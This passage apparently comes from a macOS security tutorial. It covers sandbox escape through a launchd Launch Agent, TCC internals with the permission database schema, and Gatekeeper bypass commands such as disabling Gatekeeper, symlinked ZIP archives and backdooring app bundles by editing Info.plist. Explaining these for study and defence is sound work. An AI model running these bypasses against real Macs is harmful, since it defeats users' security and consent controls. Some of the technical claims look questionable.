Allow the application to continue running and verify that it operates without sandbox restrictions.</p>

    <pre><code class="language-lldb">(lldb) c
</code></pre>
  </li>
</ol>

<h2 id="method3-escape-sandbox-using-launchd">Method3: Escape Sandbox Using <code class="language-plaintext highlighter-rouge">launchd</code></h2>

<p>This guide provides step-by-step instructions to bypass macOS sandbox restrictions using the <code class="language-plaintext highlighter-rouge">launchd</code> service. We will create a Launch Agent to execute our <code class="language-plaintext highlighter-rouge">readfile</code> application without sandbox restrictions.</p>

<h4 id="step-1-create-the-launch-agent-plist-file">Step 1: Create the Launch Agent PLIST File</h4>

<ol>
  <li>
    <p><strong>Write the PLIST Configuration</strong>:
Create a new file named <code class="language-plaintext highlighter-rouge">com.example.readfile.plist</code> with the following content:</p>

    <div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">&lt;?xml version="1.0" encoding="UTF-8"?&gt;</span>
<span class="cp">&lt;!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"&gt;</span>
<span class="nt">&lt;plist</span> <span class="na">version=</span><span class="s">"1.0"</span><span class="nt">&gt;</span>
<span class="nt">&lt;dict&gt;</span>
    <span class="nt">&lt;key&gt;</span>Label<span class="nt">&lt;/key&gt;</span>
    <span class="nt">&lt;string&gt;</span>com.example.readfile<span class="nt">&lt;/string&gt;</span>
    <span class="nt">&lt;key&gt;</span>ProgramArguments<span class="nt">&lt;/key&gt;</span>
    <span class="nt">&lt;array&gt;</span>
        <span class="nt">&lt;string&gt;</span>/path/to/readfile<span class="nt">&lt;/string&gt;</span>
    <span class="nt">&lt;/array&gt;</span>
    <span class="nt">&lt;key&gt;</span>RunAtLoad<span class="nt">&lt;/key&gt;</span>
    <span class="nt">&lt;true/&gt;</span>
<span class="nt">&lt;/dict&gt;</span>
<span class="nt">&lt;/plist&gt;</span>
</code></pre></div>    </div>
  </li>
  <li>
    <p><strong>Explanation</strong>:</p>
    <ul>
      <li><strong>Label</strong>: A unique identifier for the Launch Agent.</li>
      <li><strong>ProgramArguments</strong>: The path to the <code class="language-plaintext highlighter-rouge">readfile</code> application.</li>
      <li><strong>RunAtLoad</strong>: Ensures the application runs immediately after the Launch Agent is loaded.</li>
    </ul>
  </li>
</ol>

<h4 id="step-2-place-the-plist-file">Step 2: Place the PLIST File</h4>

<ol>
  <li>
    <p><strong>Copy PLIST File</strong>:
Copy the PLIST file to the <code class="language-plaintext highlighter-rouge">LaunchAgents</code> directory:</p>

    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cp </span>com.example.readfile.plist ~/Library/LaunchAgents/
</code></pre></div>    </div>

    <p>This places the PLIST file in the user’s Launch Agents directory.</p>
  </li>
</ol>

<h4 id="step-3-load-the-launch-agent">Step 3: Load the Launch Agent</h4>

<ol>
  <li>
    <p><strong>Load Agent</strong>:
Load the Launch Agent using the <code class="language-plaintext highlighter-rouge">launchctl</code> command:</p>

    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>launchctl load ~/Library/LaunchAgents/com.example.readfile.plist
</code></pre></div>    </div>
  </li>
  <li>
    <p><strong>Verify Loading</strong>:
Ensure the Launch Agent is loaded by checking its status:</p>

    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>launchctl list | <span class="nb">grep </span>com.example.readfile
</code></pre></div>    </div>

    <p>This command should return the identifier of the Launch Agent if it is loaded correctly.</p>
  </li>
</ol>

<h4 id="step-4-verify-application-execution">Step 4: Verify Application Execution</h4>

<ol>
  <li>
    <p><strong>Check Application Output</strong>:
The <code class="language-plaintext highlighter-rouge">readfile</code> application should execute without sandbox restrictions and read the <code class="language-plaintext highlighter-rouge">/etc/hosts</code> file. Check the application’s output:</p>

    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">tail</span> <span class="nt">-f</span> /path/to/readfile/output.log
</code></pre></div>    </div>
  </li>
</ol>

<p>Ensure that the contents of the <code class="language-plaintext highlighter-rouge">/etc/hosts</code> file are displayed, indicating the application ran successfully without sandbox restrictions.</p>

<h1 id="tcc-bypass">TCC Bypass</h1>

<h2 id="fundamentals">Fundamentals</h2>

<p>Transparency, Consent, and Control (TCC) is a security framework implemented by Apple in macOS to manage and regulate applications’ access to certain sensitive user data and system resources. The primary goal of TCC is to ensure user privacy and security by requiring explicit user consent before applications can access protected resources like the camera, microphone, location data, contacts, and calendars.</p>

<p>Key concepts in TCC include:</p>

<ul>
  <li><strong>User Consent:</strong> Applications must request permission from users before accessing protected resources.</li>
  <li><strong>Transparency:</strong> Users are informed about what data and resources applications wish to access.</li>
  <li><strong>Control:</strong> Users can grant or revoke permissions at any time via the System Preferences.</li>
</ul>

<h2 id="how-tcc-works">How TCC Works</h2>

<p>TCC operates by maintaining a database of permissions for each application. When an application requests access to a protected resource for the first time, TCC prompts the user to allow or deny the request. The user’s response is then stored in the TCC database, and future requests by the same application for the same resource are automatically granted or denied based on the stored permission.</p>

<h2 id="internal-workflow-of-tcc">Internal Workflow of TCC</h2>

<ol>
  <li><strong>Permission Request:</strong> When an application tries to access a protected resource, a request is sent to the TCC subsystem.</li>
  <li><strong>User Prompt:</strong> If it is the first time the application is requesting access to the resource, TCC presents a prompt to the user, asking for permission.</li>
  <li><strong>User Decision:</strong> The user can choose to allow or deny access. This decision is recorded in the TCC database.</li>
  <li><strong>Access Control:</strong> Based on the user’s decision, TCC either grants or denies access to the requested resource.</li>
  <li><strong>Database Management:</strong> The TCC database is updated with the user’s decision, ensuring that future requests by the same application for the same resource are handled automatically.</li>
</ol>

<h2 id="detailed-explanation-of-tcc-internals">Detailed Explanation of TCC Internals</h2>

<ul>
  <li><strong>TCC Daemon:</strong> The core component of TCC is the TCCD (Transparency, Consent, and Control Daemon), which manages the TCC database and handles permission requests.</li>
  <li><strong>TCC Database:</strong> The TCC database stores the user’s decisions regarding application permissions. It is a SQLite database located at <code class="language-plaintext highlighter-rouge">/Library/Application Support/com.apple.TCC/TCC.db</code>.</li>
  <li><strong>System Preferences Integration:</strong> Users can manage permissions via the System Preferences app, under Security &amp; Privacy settings.</li>
  <li><strong>Inter-process Communication:</strong> Applications communicate with TCCD using XPC (Cross-Process Communication) to request access to protected resources.</li>
  <li><strong>Audit Logs:</strong> TCC maintains audit logs of permission requests and decisions, which can be used for troubleshooting and security auditing.</li>
</ul>

<h2 id="tcc-protected-services">TCC Protected Services</h2>

<p>TCC controls access to several critical services on macOS:</p>

<table>
  <thead>
    <tr>
      <th>Constant</th>
      <th>Description</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><strong>kTCCServiceAccessibility</strong></td>
      <td>Accessibility features</td>
    </tr>
    <tr>
      <td><strong>kTCCServiceAddressBook</strong></td>
      <td>Contacts</td>
    </tr>
    <tr>
      <td><strong>kTCCServiceAppleEvents</strong></td>
      <td>Apple Events</td>
    </tr>
    <tr>
      <td><strong>kTCCServiceCalendar</strong></td>
      <td>Calendars</td>
    </tr>
    <tr>
      <td><strong>kTCCServiceCamera</strong></td>
      <td>Camera</td>
    </tr>
    <tr>
      <td><strong>kTCCServiceFileProviderPresence</strong></td>
      <td>File Provider presence</td>
    </tr>
    <tr>
      <td><strong>kTCCServiceListenEvent</strong></td>
      <td>Listen event</td>
    </tr>
    <tr>
      <td><strong>kTCCServiceMediaLibrary</strong></td>
      <td>Media library</td>
    </tr>
    <tr>
      <td><strong>kTCCServiceMicrophone</strong></td>
      <td>Microphone</td>
    </tr>
    <tr>
      <td><strong>kTCCServiceMotion</strong></td>
      <td>Motion &amp; Fitness</td>
    </tr>
    <tr>
      <td><strong>kTCCServicePhotos</strong></td>
      <td>Photos</td>
    </tr>
    <tr>
      <td><strong>kTCCServiceReminders</strong></td>
      <td>Reminders</td>
    </tr>
    <tr>
      <td><strong>kTCCServiceScreenCapture</strong></td>
      <td>Screen Recording</td>
    </tr>
    <tr>
      <td><strong>kTCCServiceSpeechRecognition</strong></td>
      <td>Speech recognition</td>
    </tr>
    <tr>
      <td><strong>kTCCServiceSystemPolicyAllFiles</strong></td>
      <td>Full Disk Access</td>
    </tr>
    <tr>
      <td><strong>kTCCServiceSystemPolicyDesktopFolder</strong></td>
      <td>Desktop folder access</td>
    </tr>
    <tr>
      <td><strong>kTCCServiceSystemPolicyDocumentsFolder</strong></td>
      <td>Documents folder access</td>
    </tr>
    <tr>
      <td><strong>kTCCServiceSystemPolicyDownloadsFolder</strong></td>
      <td>Downloads folder access</td>
    </tr>
    <tr>
      <td><strong>kTCCServiceSystemPolicyNetworkVolumes</strong></td>
      <td>Network volumes access</td>
    </tr>
    <tr>
      <td><strong>kTCCServiceSystemPolicyRemovableVolumes</strong></td>
      <td>Removable volumes access</td>
    </tr>
  </tbody>
</table>

<h3 id="diagram-of-tcc-workflow">Diagram of TCC Workflow</h3>

<p><img width="691" height="557" alt="image" src="https://github.com/user-attachments/assets/2bccb4c0-9b0f-48f2-b5d3-8b6da67b77d5" /></p>

<h2 id="internals-of-tcc-database">Internals of TCC Database</h2>

<ul>
  <li><strong>Tables and Schema:</strong> The TCC database consists of several tables that store information about applications and their permissions. Key tables include <code class="language-plaintext highlighter-rouge">access</code>, <code class="language-plaintext highlighter-rouge">access_overrides</code>, and <code class="language-plaintext highlighter-rouge">clients</code>.
    <ul>
      <li><code class="language-plaintext highlighter-rouge">access</code>: Stores records of permissions granted or denied for each application and resource.</li>
      <li><code class="language-plaintext highlighter-rouge">access_overrides</code>: Contains records of overridden permissions.</li>
      <li><code class="language-plaintext highlighter-rouge">clients</code>: Maintains a list of applications that have requested permissions.</li>
    </ul>
  </li>
</ul>

<h3 id="example-of-tcc-database-schema">Example of TCC Database Schema</h3>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">CREATE</span> <span class="k">TABLE</span> <span class="k">access</span> <span class="p">(</span>
    <span class="n">service</span> <span class="nb">TEXT</span> <span class="k">NOT</span> <span class="k">NULL</span><span class="p">,</span>
    <span class="n">client</span> <span class="nb">TEXT</span> <span class="k">NOT</span> <span class="k">NULL</span><span class="p">,</span>
    <span class="n">client_type</span> <span class="nb">INTEGER</span> <span class="k">NOT</span> <span class="k">NULL</span><span class="p">,</span>
    <span class="n">allowed</span> <span class="nb">INTEGER</span> <span class="k">NOT</span> <span class="k">NULL</span><span class="p">,</span>
    <span class="n">prompt_count</span> <span class="nb">INTEGER</span> <span class="k">NOT</span> <span class="k">NULL</span><span class="p">,</span>
    <span class="n">csreq</span> <span class="nb">BLOB</span><span class="p">,</span>
    <span class="n">policy_id</span> <span class="nb">INTEGER</span><span class="p">,</span>
    <span class="k">PRIMARY</span> <span class="k">KEY</span> <span class="p">(</span><span class="n">service</span><span class="p">,</span> <span class="n">client</span><span class="p">,</span> <span class="n">client_type</span><span class="p">)</span>
<span class="p">);</span>
<span class="k">CREATE</span> <span class="k">TABLE</span> <span class="n">clients</span> <span class="p">(</span>
    <span class="n">client</span> <span class="nb">TEXT</span> <span class="k">NOT</span> <span class="k">NULL</span><span class="p">,</span>
    <span class="n">client_type</span> <span class="nb">INTEGER</span> <span class="k">NOT</span> <span class="k">NULL</span><span class="p">,</span>
    <span class="n">csreq</span> <span class="nb">BLOB</span><span class="p">,</span>
    <span class="n">policy_id</span> <span class="nb">INTEGER</span><span class="p">,</span>
    <span class="n">last_seen</span> <span class="nb">INTEGER</span> <span class="k">NOT</span> <span class="k">NULL</span><span class="p">,</span>
    <span class="k">PRIMARY</span> <span class="k">KEY</span> <span class="p">(</span><span class="n">client</span><span class="p">,</span> <span class="n">client_type</span><span class="p">)</span>
<span class="p">);</span>
<span class="k">CREATE</span> <span class="k">TABLE</span> <span class="n">access_overrides</span> <span class="p">(</span>
    <span class="n">service</span> <span class="nb">TEXT</span> <span class="k">NOT</span> <span class="k">NULL</span><span class="p">,</span>
    <span class="n">client</span> <span class="nb">TEXT</span> <span class="k">NOT</span> <span class="k">NULL</span><span class="p">,</span>
    <span class="n">client_type</span> <span class="nb">INTEGER</span> <span class="k">NOT</span> <span class="k">NULL</span><span class="p">,</span>
    <span class="n">auth_value</span> <span class="nb">INTEGER</span> <span class="k">NOT</span> <span class="k">NULL</span><span class="p">,</span>
    <span class="n">auth_reason</span> <span class="nb">INTEGER</span> <span class="k">NOT</span> <span class="k">NULL</span><span class="p">,</span>
    <span class="n">auth_version</span> <span class="nb">INTEGER</span> <span class="k">NOT</span> <span class="k">NULL</span><span class="p">,</span>
    <span class="k">CONSTRAINT</span> <span class="n">unique_client_service</span> <span class="k">PRIMARY</span> <span class="k">KEY</span> <span class="p">(</span><span class="n">service</span><span class="p">,</span> <span class="n">client</span><span class="p">,</span> <span class="n">client_type</span><span class="p">)</span>
<span class="p">);</span>
</code></pre></div></div>

<h3 id="example-of-a-permission-request-flow">Example of a Permission Request Flow</h3>

<ol>
  <li><strong>Application Request:</strong> The application initiates a request to access a protected resource (e.g., the camera).</li>
  <li><strong>TCCD Interaction:</strong> The request is sent to the TCCD, which queries the TCC database to check if the application has already been granted or denied access to the resource.</li>
  <li><strong>User Prompt:</strong> If no record exists, the TCCD prompts the user to grant or deny access.</li>
  <li><strong>User Decision:</strong> The user’s decision (grant or deny) is communicated back to the TCCD.</li>
  <li><strong>Database Update:</strong> The TCCD updates the TCC database with the user’s decision.</li>
  <li><strong>Access Control:</strong> The TCCD enforces the user’s decision, either allowing or denying the application’s request.</li>
  <li><strong>Subsequent Requests:</strong> For subsequent requests, the TCCD refers to the TCC database to automatically grant or deny access based on the stored decision.</li>
</ol>

<h3 id="example-of-access-control-flow">Example of Access Control Flow</h3>

<ul>
  <li><strong>New Permission Request:</strong>
    <ul>
      <li>Application requests access to the microphone.</li>
      <li>TCCD checks the <code class="language-plaintext highlighter-rouge">access</code> table in the TCC database.</li>
      <li>No existing permission is found.</li>
      <li>TCCD prompts the user for permission.</li>
      <li>User grants permission.</li>
      <li>TCCD updates the <code class="language-plaintext highlighter-rouge">access</code> table with the new permission.</li>
      <li>TCCD grants access to the application.</li>
    </ul>
  </li>
  <li><strong>Existing Permission Request:</strong>
    <ul>
      <li>Application requests access to the microphone.</li>
      <li>TCCD checks the <code class="language-plaintext highlighter-rouge">access</code> table in the TCC database.</li>
      <li>Existing permission is found (granted).</li>
      <li>TCCD grants access to the application without prompting the user.</li>
    </ul>
  </li>
</ul>

<h2 id="bypass-tcc">Bypass TCC</h2>

<p>As most of the bypasses relays on  vulnerabilities or misconfigurations that have to be exists, These resources will help you understand different ways of bypassing <code class="language-plaintext highlighter-rouge">TCC</code>:</p>

<ul>
  <li>http://i.blackhat.com/EU-22/Thursday-Briefings/EU-22-Fitzl-Knockout-Win-Against-TCC.pdf</li>
  <li>https://cyberlibrary.fr/macos-tcc-bypasses</li>
  <li>https://jhftss.github.io/macOS-AUHelperService-Full-TCC-Bypass/</li>
  <li>https://book.hacktricks.xyz/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses</li>
  <li>https://wojciechregula.blog/post/macos-red-teaming-bypass-tcc-with-old-apps/</li>
  <li>https://gergelykalman.com/lateralus-CVE-2023-32407-a-macos-tcc-bypass.html</li>
  <li>https://medium.com/@rohitc33/cve-2022-32862-bypassing-the-transparency-consent-and-control-tcc-framework-on-macos-292dc6bce244</li>
  <li>https://zeyadazima.com/macos/CVE_2023_26818_P1/</li>
  <li>https://zeyadazima.com/macos/CVE_2023_26818_P2/</li>
</ul>

<h1 id="attacking-gatekeeper">Attacking GateKeeper</h1>

<p>macOS <code class="language-plaintext highlighter-rouge">Gatekeeper</code> is a security feature designed by Apple to protect users from executing potentially malicious software. It plays a crucial role in macOS’s security architecture by controlling which applications can run on the system, particularly those downloaded from the internet. This guide delves into the technical workings of Gatekeeper, its internal mechanisms, how it handles security checks, and the various ways it can be bypassed, along with mitigation strategies.</p>

<h2 id="gatekeepers-core-functionality"><strong>Gatekeeper’s Core Functionality</strong></h2>

<p><code class="language-plaintext highlighter-rouge">Gatekeeper</code> is designed to ensure that only trusted software can be executed on macOS. It achieves this by enforcing several checks on applications, especially those downloaded from the internet. The key components of Gatekeeper’s operation include file quarantine, code signing, and notarization.</p>

<h3 id="file-quarantine"><strong>File Quarantine</strong></h3>

<p>When a file is downloaded from the internet, macOS tags it with a <code class="language-plaintext highlighter-rouge">com.apple.quarantine</code> extended attribute. This attribute indicates that the file needs to undergo security checks before it can be executed. This tagging typically happens when files are downloaded through browsers, email clients, or messaging apps.</p>

<p><strong>Checking Quarantine Attribute</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code> xattr <span class="nt">-p</span> com.apple.quarantine /path/to/downloaded/file
</code></pre></div></div>

<p>This command checks if a file has the quarantine attribute.</p>

<p><img width="691" height="265" alt="image" src="https://github.com/user-attachments/assets/0d09f6dc-4db8-4acc-94df-06810f26280e" /></p>

<h3 id="code-signing-and-notarization"><strong>Code Signing and Notarization</strong></h3>

<ul>
  <li><strong>Code Signing:</strong> Before an application can be executed, Gatekeeper verifies the digital signature of the application. The signature ensures that the app has not been tampered with and is from a recognized developer.</li>
  <li><strong>Notarization:</strong> Apple introduced notarization as an additional layer of security. Notarized apps are scanned by Apple’s servers for known malware before they are distributed. Gatekeeper checks for a notarization ticket either stapled to the app or available from Apple’s servers.</li>
</ul>

<p><strong>Verifying a Code Signature</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code> codesign <span class="nt">-dv</span> <span class="nt">--verbose</span><span class="o">=</span>4 /path/to/app
</code></pre></div></div>

<p>This command displays detailed information about the code signature of an application.</p>

<p><img width="691" height="407" alt="image" src="https://github.com/user-attachments/assets/638a3f39-933d-460b-95df-0ecda013029e" /></p>

<h2 id="internal-workings-of-gatekeeper"><strong>Internal Workings of Gatekeeper</strong></h2>

<p>Gatekeeper integrates deeply with macOS’s security architecture. It leverages several subsystems to perform its checks:</p>

<h3 id="spctl-security-policy-control"><strong>spctl (Security Policy Control)</strong></h3>
<p>The <code class="language-plaintext highlighter-rouge">spctl</code> tool is the command-line interface to interact with Gatekeeper. It allows administrators to query and modify Gatekeeper’s security policies.</p>

<p><strong>Checking Gatekeeper Status</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code> spctl <span class="nt">--status</span>
</code></pre></div></div>

<p>This command returns the current status of Gatekeeper.</p>

<p><strong>Modifying Gatekeeper’s Behavior</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="nb">sudo </span>spctl <span class="nt">--master-disable</span>
</code></pre></div></div>

<p>This command disables Gatekeeper, allowing all applications to run regardless of their source.</p>

<p><img width="691" height="407" alt="image" src="https://github.com/user-attachments/assets/df63a28b-e4ec-4e30-aba2-72e66dc1a24c" /></p>

<h3 id="first-launch-validation"><strong>First Launch Validation</strong></h3>
<p>Gatekeeper’s primary function is to validate an application on its first launch. It checks the app’s digital signature and notarization status, ensuring that the app hasn’t been tampered with and is from an identified developer.</p>

<ul>
  <li><strong>Internal Workflow:</strong>
    <ul>
      <li><strong>Step 1:</strong> User downloads an app, which is tagged with the quarantine attribute.</li>
      <li><strong>Step 2:</strong> Upon first launch, Gatekeeper intercepts the launch and verifies the app’s signature against Apple’s records.</li>
      <li><strong>Step 3:</strong> If the app is notarized, Gatekeeper checks the notarization ticket.</li>
      <li><strong>Step 4:</strong> If all checks pass, the quarantine attribute is removed, and the app is allowed to execute.</li>
    </ul>
  </li>
</ul>

<p><img width="691" height="424" alt="image" src="https://github.com/user-attachments/assets/7d061e98-d0fb-4527-a40e-f5695cd8b563" /></p>

<h3 id="enhanced-security-in-macos-ventura-macos-13"><strong>Enhanced Security in macOS Ventura (macOS 13)</strong></h3>
<p>In macOS Ventura, Gatekeeper’s security checks have been expanded. Now, not only is the app’s integrity checked on the first launch, but Gatekeeper also monitors the app for unauthorized modifications. If an app is altered after its initial launch (e.g., through an update or tampering), Gatekeeper will revalidate its integrity.</p>

<ul>
  <li><strong>Internal Changes:</strong>
    <ul>
      <li><strong>File System Monitoring:</strong> Gatekeeper now tracks changes to app bundles, such as modifications to the executable, resources, or <code class="language-plaintext highlighter-rouge">Info.plist</code> file.</li>
      <li><strong>User Alerts:</strong> If Gatekeeper detects unauthorized changes, it alerts the user and blocks the app from running.</li>
    </ul>
  </li>
</ul>

<p><img width="691" height="375" alt="image" src="https://github.com/user-attachments/assets/b5156ad9-84e1-4fc2-a94e-cf96ac42fd58" /></p>

<h2 id="gatekeeper-bypass">Gatekeeper Bypass</h2>

<p>macOS Gatekeeper is a robust security mechanism designed to protect users from running unverified or potentially harmful software. However, like all security measures, it is not immune to bypass techniques. This section will explore several advanced methods that attackers have used to circumvent Gatekeeper, providing detailed explanations, code examples, and step-by-step guides.</p>

<h2 id="clever-zip-archives"><strong>Clever ZIP Archives</strong></h2>

<p>One of the more straightforward but effective techniques to bypass Gatekeeper is by manipulating the way ZIP archives handle the quarantine attribute. The key idea is to create a ZIP archive that prevents macOS from applying the <code class="language-plaintext highlighter-rouge">com.apple.quarantine</code> attribute correctly.</p>

<ol>
  <li><strong>Crafting the ZIP Archive:</strong>
The attacker can create a ZIP archive with a structure that confuses macOS’s quarantine process. For example, by placing a symlink to the executable inside the ZIP archive rather than the executable itself.</li>
</ol>

<p><strong>Creating a Malicious ZIP Archive</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="nb">ln</span> <span class="nt">-s</span> /path/to/malicious_app /tmp/link_to_app
 zip <span class="nt">-r</span> malicious.zip /tmp/link_to_app
</code></pre></div></div>

<ol>
  <li>
    <p><strong>Download and Extract:</strong>
When the user downloads and extracts the ZIP file, the symlink is followed, and the actual executable is placed in a location where the quarantine attribute is not applied.</p>
  </li>
  <li>
    <p><strong>Execution:</strong>
Since the quarantine attribute is not set, Gatekeeper’s checks are bypassed, and the application can be executed without triggering any security warnings.</p>
  </li>
</ol>

<p><img width="691" height="224" alt="image" src="https://github.com/user-attachments/assets/f1d4b3be-a251-47a1-bd9a-5e2f1399c04f" /></p>

<p>Consider a scenario where an attacker uses this technique to distribute a backdoored version of a legitimate application. When users download and extract the archive, they inadvertently run the malicious application without Gatekeeper intervening.</p>

<h3 id="symlink-attacks"><strong>Symlink Attacks</strong></h3>

<p>Symlink attacks exploit the way macOS handles symbolic links during the quarantine process. By using symlinks, attackers can trick Gatekeeper into executing untrusted or malicious binaries.</p>

<ol>
  <li><strong>Creating the Symlink:</strong>
The attacker creates a symlink pointing to the malicious executable.</li>
</ol>

<p><strong>Creating a Symlink</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="nb">ln</span> <span class="nt">-s</span> /path/to/malicious_binary /path/to/legit_app/Contents/MacOS/app_executable
</code></pre></div></div>

<ol>
  <li>
    <p><strong>Packaging the Symlink:</strong>
The symlink is included in a ZIP archive or distributed as part of a DMG file. The key is that the symlink points to a location outside the quarantine-controlled environment.</p>
  </li>
  <li>
    <p><strong>Execution:</strong>
When the user runs the legitimate-looking app, the symlink directs execution to the malicious binary, bypassing Gatekeeper because the actual executable is not where Gatekeeper expects it to be.</p>
  </li>
</ol>

<p><img width="691" height="223" alt="image" src="https://github.com/user-attachments/assets/c2dcfd06-cb26-4863-8c71-1fbed9889866" /></p>

<p>An attacker could distribute a seemingly benign application with a symlinked executable. When the user opens the application, it executes the linked malicious binary without passing through Gatekeeper’s security checks.</p>

<h3 id="modified-application-bundles"><strong>Modified Application Bundles</strong></h3>

<p>Attackers can inject malicious code into legitimate application bundles. This technique often involves adding or modifying files within the app bundle, which can then be executed without triggering Gatekeeper.</p>

<ol>
  <li><strong>Injecting Malicious Code:</strong>
The attacker modifies an existing application bundle by injecting a malicious script or binary. This could be done by placing a new executable in the <code class="language-plaintext highlighter-rouge">Contents/MacOS</code> directory of the application bundle.</li>
</ol>

<p><strong>Injecting Code</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="nb">echo</span> <span class="s2">"malicious code"</span> <span class="o">&gt;</span> /path/to/legit_app/Contents/MacOS/malicious_executable
 <span class="nb">chmod</span> +x /path/to/legit_app/Contents/MacOS/malicious_executable
</code></pre></div></div>

<ol>
  <li><strong>Modifying the Info.plist:</strong>
    <ul>
      <li>The attacker can also modify the <code class="language-plaintext highlighter-rouge">Info.plist</code> file within the bundle to point to the malicious executable instead of the legitimate one.</li>
    </ul>
  </li>
</ol>

<p><strong>Modifying Info.plist</strong></p>

<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="nt">&lt;key&gt;</span>CFBundleExecutable<span class="nt">&lt;/key&gt;</span>
 <span class="nt">&lt;string&gt;</span>malicious_executable<span class="nt">&lt;/string&gt;</span>
</code></pre></div></div>

<ol>
  <li><strong>Execution:</strong>
When the user opens the app, the modified <code class="language-plaintext highlighter-rouge">Info.plist</code> directs the system to execute the malicious code instead of the original app.</li>
</ol>

<p><img width="691" height="214" alt="image" src="https://github.com/user-attachments/assets/d3ca8155-ae12-45ea-86af-5a878bab13c6" /></p>

<p>An attacker could distribute a legitimate application that has been backdoored with a malicious payload. The user believes they are running the intended application, but the altered <code class="language-plaintext highlighter-rouge">Info.plist</code> ensures that the malicious code is executed instead.</p>

<h3 id="xcsset-malware-attack"><strong>XCSSET Malware Attack</strong></h3>

<p>The XCSSET malware family is known for using advanced techniques to bypass Gatekeeper, including modifying existing app bundles to include malicious payloads.</p>

<ol>
  <li>
    <p><strong>Infecting Xcode Projects:</strong>
XCSSET malware targets Xcode projects by injecting malicious code into them. When the developer builds and runs their project, the malware is included in the resulting app bundle.</p>
  </li>
  <li>
    <p><strong>Spreading the Malware:</strong>
The compromised app, now containing the malware, is distributed as normal. However, when users download and run the app, the malware payload is executed.</p>
  </li>
  <li>
    <p><strong>Modifying Bundle Files:</strong>
The malware modifies critical files within the app bundle, such as the <code class="language-plaintext highlighter-rouge">Info.plist</code> or <code class="language-plaintext highlighter-rouge">binary executable</code>, to ensure the malicious code is executed.</p>
  </li>
</ol>

<p><img width="691" height="213" alt="image" src="https://github.com/user-attachments/assets/e897aa19-b6bf-44dc-97c5-f95a520b3746" /></p>

<h2 id="gatekeeper-bypass-resources">GateKeeper Bypass Resources</h2>

<ul>
  <li>https://www.youtube.com/watch?v=dBIyjQH6E-c</li>
  <li>https://unit42.paloaltonetworks.com/gatekeeper-bypass-macos/</li>
  <li>https://cedowens.medium.com/macos-gatekeeper-bypass-2021-edition-5256a2955508</li>
  <li>https://redcanary.com/threat-detection-report/techniques/gatekeeper-bypass/</li>
  <li>https://www.jamf.com/blog/gatekeeper-flaws-on-macos/</li>
  <li>https://redcanary.com/blog/threat-detection/gatekeeper/</li>
  <li>https://book.hacktricks.xyz/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-gatekeeper</li>
  <li>https://www.idownloadblog.com/2024/08/07/apple-macos-sequoia-gatekeeper-change-install-unsigned-apps-mac/</li>
  <li>https://blog.f-secure.com/discovery-of-gatekeeper-bypass-cve-2023-27943/</li>
  <li>https://gist.github.com/kennwhite/814ff7ed1fd62b921144035c877c3e4c</li>
  <li>https://antman1p-30185.medium.com/jumping-over-the-gate-da555c075208</li>
  <li>https://jhftss.github.io/CVE-2022-22616-Gatekeeper-Bypass/</li>
  <li>https://breakpoint.sh/posts/bypassing-the-macos-gatekeeper</li>
  <li>https://labs.withsecure.com/publications/analysis-of-cve-2021-1810-gatekeeper-bypass</li>
  <li>https://www.exploit-db.com/exploits/35934</li>
  <li>https://kyle-bailey.medium.com/detecting-macos-gatekeeper-bypass-cve-2021-30657-cc986a9bc751</li>
  <li>https://wojciechregula.blog/post/m1-macs-gatekeeper-bypass-aka-cve-2021-30658/</li>
  <li>https://www.fcvl.net/vulnerabilities/macosx-gatekeeper-bypass</li>
  <li>https://jhftss.github.io</li>
  <li>https://objective-see.org/blog/blog_0x6A.html</li>
  <li>https://s.itho.me/ccms_slides/2024/5/23/d1057739-ea3a-4288-9275-c3c9b0e3d6a8.pdf</li>
  <li>https://conference.hitb.org/hitbsecconf2022sin/materials/D1T1%20-%20One-Click%20to%20Completely%20Takeover%20a%20MacOS%20Device%20-%20Mickey%20Jin.pdf</li>
  <li>https://www.agoratech.eu/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/</li>
  <li>https://www.ampliasecurity.com/blog/2015/01/27/bypassing_os_x_gatekeeper/</li>
  <li>https://packetstormsecurity.com/files/130147/OS-X-Gatekeeper-Bypass.html</li>
</ul>

<h1 id="symlink-and-hardlink-attacks">Symlink and Hardlink Attacks</h1>

<h2 id="filesystem-permission-model">Filesystem Permission Model</h2>

<h3 id="posix-permissions">POSIX Permissions</h3>

<p>macOS uses POSIX file permissions with three permission levels:</p>
<ul>
  <li><strong>Owner</strong> (user)</li>
  <li><strong>Group</strong></li>
  <li><strong>Everyone</strong> (world)</li>
</ul>

<p>Each level has three permission types: <strong>read</strong>, <strong>write</strong>, <strong>execute</strong></p>

<h4 id="file-permissions">File Permissions</h4>

<table>
  <thead>
    <tr>
      <th>Permission</th>
      <th>Effect</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>read</td>
      <td>Read file contents</td>
    </tr>
    <tr>
      <td>write</td>
      <td>Modify file contents</td>
    </tr>
    <tr>
      <td>execute</td>
      <td>Execute file as program</td>
    </tr>
  </tbody>
</table>

<h4 id="directory-permissions">Directory Permissions</h4>

<table>
  <thead>
    <tr>
      <th>Permission</th>
      <th>Effect</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>read</td>
      <td>Enumerate directory entries (list files)</td>
    </tr>
    <tr>
      <td>write</td>
